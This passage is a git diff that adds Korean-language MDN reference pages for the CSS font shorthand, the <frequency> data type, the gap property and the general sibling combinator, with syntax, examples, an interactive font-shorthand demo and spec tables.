+   <td>6.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/css/font/index.html b/files/ko/web/css/font/index.html
new file mode 100644
index 0000000000..209669ed77
--- /dev/null
+++ b/files/ko/web/css/font/index.html
@@ -0,0 +1,345 @@
+---
+title: font
+slug: Web/CSS/font
+tags:
+  - CSS
+  - CSS Fonts
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/font
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font</code></strong> CSS 속성은 {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, {{cssxref("font-family")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다. 요소의 글꼴을 시스템 폰트로 설정할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, 생략한 속성은 초기값으로 설정하며 이 과정에서 다른 속성으로 설정한 값을 덮어 쓸 수도 있습니다. <code>font</code> 속성으로 설정할 수 없는 {{cssxref("font-stretch")}}, {{ cssxref("font-size-adjust")}}, {{cssxref("font-kerning")}}의 값도 초기값으로 돌아갑니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>font</code> 속성은 하나의 키워드를 지정해 시스템 폰트를 사용하도록 설정할 수도 있고, 여러 글꼴 관련 속성의 단축 속성으로도 사용할 수 있습니다.</p>
+
+<p><code>font</code>를 시스템 폰트 키워드로 사용하려면 <code>{{anch("caption")}}</code>, <code>{{anch("icon")}}</code>, <code>{{anch("menu")}}</code>, <code>{{anch("message-box")}}</code>, <code>{{anch("small-caption")}}</code>, <code>{{anch("status-bar")}}</code> 중 하나를 사용해야 합니다.</p>
+
+<p><code>font</code>를 단축 속성으로 사용하려면,</p>
+
+<ul>
+ <li>다음 속성의 값을 포함해야 합니다.
+  <ul>
+   <li>{{cssxref("&lt;font-size&gt;")}}</li>
+   <li>{{cssxref("&lt;font-family&gt;")}}</li>
+  </ul>
+ </li>
+ <li>다음 속성의 값을 포함할 수 있습니다.
+  <ul>
+   <li>{{cssxref("&lt;font-style&gt;")}}</li>
+   <li>{{cssxref("&lt;font-variant&gt;")}}</li>
+   <li>{{cssxref("&lt;font-weight&gt;")}}</li>
+   <li>{{cssxref("&lt;line-height&gt;")}}</li>
+  </ul>
+ </li>
+ <li><code>font-style</code>, <code>font-variant</code>, <code>font-weight</code>는 <code>font-size</code>의 앞에 와야 합니다.</li>
+ <li><code>font-variant</code>는 CSS 2.1에서 정의한 <code>normal</code>과 <code>small-caps</code>만 사용할 수 있습니다.</li>
+ <li><code>line-height</code>는 <code>font-size</code> 바로 다음에 와야 하며 "/"로 구분해야 합니다. 예: "<code>16px/3</code>"</li>
+ <li><code>font-family</code>는 마지막 값이어야 합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="&lt;'font-style'>"><code>&lt;'font-style'&gt;</code></dt>
+ <dd>{{cssxref("font-style")}} 참고</dd>
+ <dt id="&lt;'font-variant'>"><code>&lt;'font-variant'&gt;</code></dt>
+ <dd>{{cssxref("font-variant")}} 참고</dd>
+ <dt id="&lt;'font-weight'>"><code>&lt;'font-weight'&gt;</code></dt>
+ <dd>{{cssxref("font-weight")}} 참고</dd>
+ <dt id="&lt;'font-stretch'>"><code>&lt;'font-stretch'&gt;</code></dt>
+ <dd>{{cssxref("font-stretch")}} 참고</dd>
+ <dt id="&lt;'font-size'>"><code>&lt;'font-size'&gt;</code></dt>
+ <dd>{{cssxref("font-size")}} 참고</dd>
+ <dt id="&lt;'line-height'>"><code>&lt;'line-height'&gt;</code></dt>
+ <dd>{{cssxref("line-height")}} 참고</dd>
+ <dt id="&lt;'font-family'>"><code>&lt;'font-family'&gt;</code></dt>
+ <dd>{{cssxref("font-family")}} 참고</dd>
+</dl>
+
+<h4 id="시스템_폰트_키워드">시스템 폰트 키워드</h4>
+
+<dl>
+ <dt id="caption"><code>caption</code></dt>
+ <dd>버튼, 드랍다운 메뉴 등 설명이 붙은 컨트롤에 사용하는 시스템 폰트.</dd>
+ <dt id="icon"><code>icon</code></dt>
+ <dd>아이콘 이름에 사용하는 시스템 폰트.</dd>
+ <dt id="menu"><code>menu</code></dt>
+ <dd>드랍다운 메뉴, 메뉴 리스트 등 메뉴에서 사용하는 시스템 폰트.</dd>
+ <dt id="message-box"><code>message-box</code></dt>
+ <dd>다이얼로그 창에 사용하는 폰트.</dd>
+ <dt id="small-caption"><code>small-caption</code></dt>
+ <dd>소형 컨트롤에 사용하는 시스템 폰트.</dd>
+ <dt id="status-bar"><code>status-bar</code></dt>
+ <dd>창의 상태표시줄에 사용하는 시스템 폰트.</dd>
+ <dt>추가 시스템 폰트 키워드</dt>
+ <dd>각 브라우저마다 더 많은 키워드를 접두사와 함께 구현하고 있습니다. Gecko는 <code>-moz-window</code>, <code>-moz-document</code>, <code>-moz-desktop</code>, <code>-moz-info</code>, <code>-moz-dialog</code>, <code>-moz-button</code>, <code>-moz-pull-down-menu</code>, <code>-moz-list</code>, <code>-moz-field</code>를 가지고 있습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">/* 글씨 크기 12픽셀, 줄 높이 14픽셀, 글꼴 sans-serif */
+p { font: 12px/14px sans-serif }
+
+/* 글씨 크기 부모 또는 기본값(부모가 없을 경우)의 80%, 글꼴 sans-serif */
+p { font: 80% sans-serif }
+
+/* 글씨 굵기 굵게, 스타일 기울이기, 글씨 크기 크게, 글꼴 serif */
+p { font: bold italic large serif }
+
+/* 창의 상태표시줄과 같은 글꼴 사용 */
+p { font: status-bar }
+</pre>
+
+<p id="HTML_Content" style="display: none;">HTML Content</p>
+
+<pre class="brush: html" style="display: none;">&lt;p&gt;
+    Change the radio buttons below to see the generated shorthand and it's effect.
+&lt;/p&gt;
+&lt;form action="createShortHand()"&gt;
+    &lt;div class="cf"&gt;
+        &lt;div class="setPropCont"&gt;
+            font-style&lt;br/&gt;
+            &lt;input type="radio" id="font-style-none" name="font_style" checked="" value="" onchange="setCss()"&gt; &lt;label for="font-style-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-style-normal" name="font_style" value="normal" onchange="setCss()"&gt; &lt;label for="font-style-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-style-italic" name="font_style" value="italic" onchange="setCss()"&gt; &lt;label for="font-style-italic"&gt;italic&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-style-oblique" name="font_style" value="oblique" onchange="setCss()"&gt; &lt;label for="font-style-oblique"&gt;oblique&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            font-variant&lt;br&gt;
+            &lt;input type="radio" id="font-variant-none" name="font_variant" checked="" value=" " onchange="setCss()"&gt; &lt;label for="font-variant-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-variant-normal" name="font_variant" value="normal" onchange="setCss()"&gt; &lt;label for="font-variant-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-variant-small-caps" name="font_variant" value="small-caps" onchange="setCss()"&gt; &lt;label for="font-variant-small-caps"&gt;small-caps&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            font-weight&lt;br/&gt;
+            &lt;input type="radio" id="font-weight-none" name="font_weight" value="" onchange="setCss()"&gt; &lt;label for="font-weight-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-weight-normal" checked="" name="font_weight" value="400" onchange="setCss()"&gt; &lt;label for="font-weight-normal"&gt;normal&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-weight-bold" name="font_weight" value="700" onchange="setCss()"&gt; &lt;label for="font-weight-bold"&gt;bold&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            font-size&lt;br/&gt;
+            &lt;input type="radio" id="font-size-12px" name="font_size" value="12px" onchange="setCss()"&gt; &lt;label for="font-size-12px"&gt;12px&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-size-16px" name="font_size" value="16px" checked="" onchange="setCss()"&gt; &lt;label for="font-size-16px"&gt;16px&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="font-size-24px" name="font_size" value="24px" onchange="setCss()"&gt; &lt;label for="font-size-24px"&gt;24px&lt;/label&gt;
+        &lt;/div&gt;
+
+        &lt;div class="setPropCont"&gt;
+            line-height&lt;br/&gt;
+            &lt;input type="radio" id="line-height-none" name="line_height" checked="" value="" onchange="setCss()"&gt; &lt;label for="line-height-none"&gt;none&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="line-height-1.2" name="line_height" value="/1.2" onchange="setCss()"&gt; &lt;label for="line-height-1.2"&gt;1.2&lt;/label&gt;&lt;br/&gt;
+            &lt;input type="radio" id="line-height-3" name="line_height" value="/3" onchange="setCss()"&gt; &lt;label for="line-height-3"&gt;3&lt;/label&gt;
+        &lt;/div&gt;&lt;br/&gt;
+
+        &lt;div class="setPropCont fontfamily"&gt;
+            font-family&lt;br/&gt;
+            &lt;input type="radio" id="font-family-courier" name="font_family" checked="" value="courier" onchange="setCss(5,'courier')"&gt; &lt;label for="font-family-courier"&gt;courier&lt;/label&gt;&lt;br/&gt;            &lt;input type="radio" id="font-family-serif" name="font_family" value="serif" onchange="setCss()"&gt; &lt;label for="font-family-serif"&gt;serif&lt;/label&gt;&lt;br /&gt;
+            &lt;input type="radio" id="font-family-sans-serif" name="font_family" value="sans-serif" onchange="setCss()"&gt; &lt;label for="font-family-sans-serif"&gt;sans-serif&lt;/label&gt;&lt;br /&gt;            &lt;input type="radio" id="font-family-arial" name="font_family" value="arial" onchange="setCss()"&gt; &lt;label for="font-family-arial"&gt;Arial&lt;/label&gt;&lt;br /&gt;
+            &lt;input type="radio" id="font-family-monospace" name="font_family" value="monospace" onchange="setCss()"&gt; &lt;label for="font-family-monospace"&gt;monospace&lt;/label&gt;&lt;br /&gt;            &lt;input type="radio" id="font-family-cursive" name="font_family" value="cursive" onchange="setCss()"&gt; &lt;label for="font-family-cursive"&gt;cursive&lt;/label&gt;&lt;br /&gt;
+            &lt;input type="radio" id="font-family-fantasy" name="font_family" value="fantasy" onchange="setCss()"&gt; &lt;label for="font-family-fantasy"&gt;fantasy&lt;/label&gt;&lt;br /&gt;            &lt;input type="radio" id="font-family-system-ui" name="font_family" value="system-ui" onchange="setCss()"&gt; &lt;label for="font-family-system-ui"&gt;system-ui&lt;/label&gt;&lt;br /&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="cf propInputs"&gt;
+        &lt;div class="propInputCont tar"&gt;
+            font :
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_font_style"&gt;&lt;br/&gt;
+            font-style &lt;br/&gt;
+            optional
+
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_font_variant"&gt; &lt;br/&gt;
+            font-variant &lt;br/&gt;
+            optional
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_font_weight"&gt; &lt;br/&gt;
+            font-weight &lt;br/&gt;
+            optional
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss mandatory" id="input_font_size"&gt; &lt;br/&gt;
+            font-size &lt;br/&gt;
+            mandatory
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss" id="input_line_height"&gt; &lt;br/&gt;
+            line-height &lt;br/&gt;
+            optional
+        &lt;/div&gt;
+        &lt;div class="propInputCont"&gt;
+            &lt;input type="text" class="curCss mandatory" id="input_font_family"&gt; &lt;br/&gt;
+            font-family &lt;br/&gt;
+            mandatory
+        &lt;/div&gt;
+    &lt;/div&gt;
+&lt;/form&gt;
+
+&lt;div class="fontShortHand"&gt;
+    This is some sample text.
+&lt;/div&gt;
+&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
+</pre>
+
+<p id="CSS_Content" style="display: none;">CSS Content</p>
+
+<pre class="brush: css" style="display: none;">body, input {
+  font: 14px arial;
+  overflow: hidden;
+}
+
+.propInputCont {
+  float: left;
+  text-align: center;
+  margin-right: 5px;
+  width: 80px;
+}
+
+.setPropCont {
+  float: left;
+  margin-right: 5px;
+  width: 120px;
+}
+
+.propInputs, .setPropCont {
+  margin-bottom: 1em;
+}
+
+.curCss {
+  border: none;
+  border-bottom: 1px solid black;
+  text-align: center;
+  width: 80px;
+}
+
+.mandatory {
+  border-bottom-color: red;
+}
+
+.cf:before,
+.cf:after {
+  content: " ";
+  display: table;
+}
+
+.cf:after {
+  clear: both;
+}
+
+.tar {
+  width: 40px;
+  text-align: right;
+}
+.fontfamily {
+  display: inline-block;
+}</pre>
+
+<p id="JavaScript_Content" style="display: none;">JavaScript Content</p>
+
+<pre class="brush: js" style="display: none;">var textAreas = document.getElementsByClassName("curCss"),
+    shortText = "",
+    getCheckedValue,
+    setCss,
+    getProperties,
+    injectCss;
+
+getProperties = function () {
+  shortText =
+      getCheckedValue("font_style") + " " +
+      getCheckedValue("font_variant") + " " +
+      getCheckedValue("font_weight") + " " +
+      getCheckedValue("font_size") +
+      getCheckedValue("line_height") + " " +
+      getCheckedValue("font_family");
+
+  return shortText;
+}
+
+getCheckedValue = function(radio_name) {
+  oRadio = document.forms[0].elements[radio_name];
+  for (var i = 0; i &lt; oRadio.length; i++) {
+    if(oRadio[i].checked) {
+      var propInput = "input_" + radio_name,
+          curElemName = "input_" + radio_name,
+          curElem = document.getElementById(curElemName);
+      curElem.value = oRadio[i].value;
+
+      return oRadio[i].value;
+    }
+  }
+}
+
+setCss = function () {
+  getProperties();
+  injectCss(shortText);
+}
+
+injectCss = function(cssFragment) {
+  old = document.body.getElementsByTagName("style");
+  if (old.length &gt; 1) {
+    old[1].parentElement.removeChild(old[1]);
+  }
+  css = document.createElement("style");
+  css.innerHTML = ".fontShortHand{font: " + cssFragment + "}";
+  document.body.appendChild(css);
+}
+
+setCss();</pre>
+
+<p>{{ EmbedLiveSample('예제','100%', '380px')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Fonts', '#font-prop', 'font')}}</td>
+   <td>{{ Spec2('CSS3 Fonts')}}</td>
+   <td>Added support for <code>font-stretch</code> values.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight')}}</td>
+   <td>{{ Spec2('CSS2.1')}}</td>
+   <td>Added support for keywords.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#font', 'font')}}</td>
+   <td>{{ Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.font")}}</p>
diff --git a/files/ko/web/css/frequency/index.html b/files/ko/web/css/frequency/index.html
new file mode 100644
index 0000000000..6b3d88b859
--- /dev/null
+++ b/files/ko/web/css/frequency/index.html
@@ -0,0 +1,75 @@
+---
+title: <frequency>
+slug: Web/CSS/frequency
+tags:
+  - CSS
+  - CSS Data Type
+  - Reference
+  - Web
+translation_of: Web/CSS/frequency
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;frequency&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 목소리의 높낮이 등 주파수를 나타냅니다. 현재 어떤 CSS 속성도 <code>&lt;frequency&gt;</code>를 사용하지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;frequency&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성핳합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다.</p>
+
+<h3 id="단위">단위</h3>
+
+<dl>
+ <dt><code><a id="Hz" name="Hz">Hz</a></code></dt>
+ <dd>헤르츠로 주파수를 나타냅니다. 예시: <code>0Hz</code>, <code>1500Hz</code>, <code>10000Hz</code>.</dd>
+ <dt><code><a id="kHz" name="kHz">kHz</a></code></dt>
+ <dd>킬로헤르츠로 주파수를 나타냅니다. 예시: <code>0kHz</code>, <code>1.5kHz</code>, <code>10kHz</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> <code>0</code>은 단위와 상관없이 언제나 같은 값을 나타내지만, 주파수에서는 단위를 생략할 수 없습니다. 즉 <code>0</code>은 유효한 주파수가 아니며 <code>0Hz</code>나 <code>0kHz</code>를 나타내지 않습니다. 단위 문자가 대소문자를 구분하지 않기는 하지만, <a href="https://ko.wikipedia.org/wiki/%EA%B5%AD%EC%A0%9C%EB%8B%A8%EC%9C%84%EA%B3%84">SI</a>에서 명시한 대로 "H"는 대문자로 표기하는 게 좋습니다.</p>
+</div>
+
+<h2 id="예제"><span>예제</span></h2>
+
+<h3 id="유효한_주파수">유효한 주파수</h3>
+
+<pre class="notranslate">12Hz     양의 정수
+4.3Hz    실수
+14KhZ    단위가 대소문자를 구분하지 않지만, SI 표준에서 벗어난 표기는 비추천
++0Hz     0, 양의 부호와 단위
+-0kHz    0, 음의 부호와 단위</pre>
+
+<h3 id="유효하지_않은_주파수">유효하지 않은 주파수</h3>
+
+<pre class="example-bad notranslate">12.0     단위가 없으므로 &lt;number&gt;지만 &lt;frequency&gt;가 아님
+7 Hz     수와 단위 사이에 공백은 불허
+0        &lt;length&gt;는 단위 없는 0을 받을 수 있지만, &lt;frequency&gt;는 불가능</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#frequency', '&lt;frequency&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;frequency&gt;</code>는 <a class="external" href="https://www.w3.org/TR/CSS2/aural.html#q19.0" title="http://www.w3.org/TR/CSS2/">CSS Level 2</a>의, 지금은 사용하지 않는 청각적 <a href="/ko/docs/Web/CSS/@media#미디어_특성">미디어 특성</a>에서 음성의 높낮이를 설정할 때 사용했습니다. 이후 CSS3에서 다시 추가됐지만, 지금으로써는 어떤 CSS 속성에서도 사용하지 않습니다.</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.frequency")}}</p>
diff --git a/files/ko/web/css/gap/index.html b/files/ko/web/css/gap/index.html
new file mode 100644
index 0000000000..7aca4dc713
--- /dev/null
+++ b/files/ko/web/css/gap/index.html
@@ -0,0 +1,220 @@
+---
+title: gap (grid-gap)
+slug: Web/CSS/gap
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Grid
+  - CSS Multi-column Layout
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/gap
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>gap</code></strong> 속성은 행과 열 사이의 간격(거터)을 설정합니다. {{CSSxRef("row-gap")}}과 {{CSSxRef("column-gap")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</span></p>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-gap.html")}}</div>
+
+<div class="note">
+<p>원래 <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>은 접두사를 붙인 <code>grid-gap</code> 속성을 정의했었으며, 현재 <code>gap</code>으로 대체하는 과정 중에 있습니다. 그러나 <code>grid-gap</code>만 구현하고 그리드 레이아웃용 <code>gap</code>은 구연하지 않은 브라우저를 지원하려면 위의 대화형 예제처럼 접두사 속성을 사용해야 합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css; no-line-numbers">/* 단일 &lt;length&gt; 값 */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* 단일 &lt;percentage&gt; 값 */
+gap: 16%;
+gap: 100%;
+
+/* 이중 &lt;length&gt; 값 */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* 이중 또는 혼합 &lt;percentage&gt; 값 */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* calc() 값 */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* 전역 값 */
+gap: inherit;
+gap: initial;
+gap: unset;
+</pre>
+
+<p><code>gap</code>은 <code>&lt;'row-gap'&gt;</code> 값을 사용해 지정하며, 선택적으로 <code>&lt;'column-gap'&gt;</code>을 추가할 수 있습니다. <code>&lt;'column-gap'&gt;</code>을 생략한 경우 <code>&lt;'row-gap'&gt;</code>과 동일한 값을 사용합니다.</p>
+
+<p><code>&lt;'row-gap'&gt;</code>과 <code>&lt;'column-gap'&gt;</code>은 각각 <code>&lt;length&gt;</code> 또는 <code>&lt;percentage&gt;</code>를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;length&gt;")}}</dt>
+ <dd>그리드 선을 분할하는 간격의 너비.</dd>
+ <dt>{{CSSxRef("&lt;percentage&gt;")}}</dt>
+ <dd>그리드 선을 분할하는 간격의 너비. 요소 크기에 상대적입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="플렉스_레이아웃">플렉스 레이아웃</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html;">&lt;div id="flexbox"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[5]">#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  gap: 20px 5px;
+}
+
+#flexbox &gt; div {
+  border: 1px solid green;
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("플렉스_레이아웃", "auto", "120px")}}</p>
+
+<h3 id="그리드_레이아웃">그리드 레이아웃</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html;">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">#grid {
+  grid-gap: 20px 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css; highlight[5]">#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  gap: 20px 5px;
+}
+
+#grid &gt; div {
+  border: 1px solid green;
+  background-color: lime;
+}
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("그리드_레이아웃", "auto", "120px")}}</p>
+
+<h3 id="다열_레이아웃">다열 레이아웃</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;p class="content-box"&gt;
+  This is some multi-column text with a 40px column
+  gap created with the CSS &lt;code&gt;gap&lt;/code&gt; property.
+  Don't you think that's fun and exciting? I sure do!
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight[3]">.content-box {
+  column-count: 3;
+  gap: 40px;
+}
+</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("다열_레이아웃", "auto", "120px")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<h3 id="플렉스_레이아웃_지원">플렉스 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.gap.flex_context")}}</p>
+
+<h3 id="그리드_레이아웃_지원">그리드 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.gap.grid_context")}}</p>
+
+<h3 id="다열_레이아웃_지원">다열 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.gap.multicol_context")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 CSS 속성: {{CSSxRef("row-gap")}}, {{CSSxRef("column-gap")}}</li>
+ <li>그리드 레이아웃 안내서: <a href="/ko/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Gutters">Basic concepts of grid layout - Gutters</a></li>
+</ul>
diff --git a/files/ko/web/css/general_sibling_combinator/index.html b/files/ko/web/css/general_sibling_combinator/index.html
new file mode 100644
index 0000000000..7fb79bd5f0
--- /dev/null
+++ b/files/ko/web/css/general_sibling_combinator/index.html
@@ -0,0 +1,80 @@
+---
+title: 일반 형제 결합자
+slug: Web/CSS/General_sibling_combinator
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/General_sibling_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><strong>일반 형제 결합자</strong>(<code>~</code>)는 두 개의 선택자 사이에 위치하여 뒤쪽 선택자의 요소와 앞쪽 선택자 요소의 부모 요소가 같고, 뒤쪽 선택자의 요소가 뒤에 위치할 때 선택합니다. 두 요소가 서로 붙어있을 필요는 없습니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 서로 형제인 문단 중 이미지 뒤쪽인 경우에만 선택 */
+img ~ p {
+  color: red;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">former_element ~ target_element { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p ~ span {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;이건 빨강이 아닙니다.&lt;/span&gt;
+&lt;p&gt;여기 문단이 있습니다.&lt;/p&gt;
+&lt;code&gt;그리고 코드도 있습니다.&lt;/code&gt;
+&lt;span&gt;이제 빨강입니다!&lt;/span&gt;
+&lt;code&gt;더 많은 코드가 있습니다.&lt;/code&gt;
+&lt;span&gt;이것도 빨강입니다!&lt;/span&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#general-sibling-combinators", "subsequent-sibling combinator")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Renames it the "subsequent-sibling" combinator.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#general-sibling-combinators", "general sibling combinator")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.general_sibling")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/인접_형제_선택자">인접 형제 결합자</a></li>
+</ul>
diff --git a/files/ko/web/css/getting_started/javascript/index.html b/files/ko/web/css/getting_started/javascript/index.html
new file mode 100644
index 0000000000..2f9fd8f53b
--- /dev/null
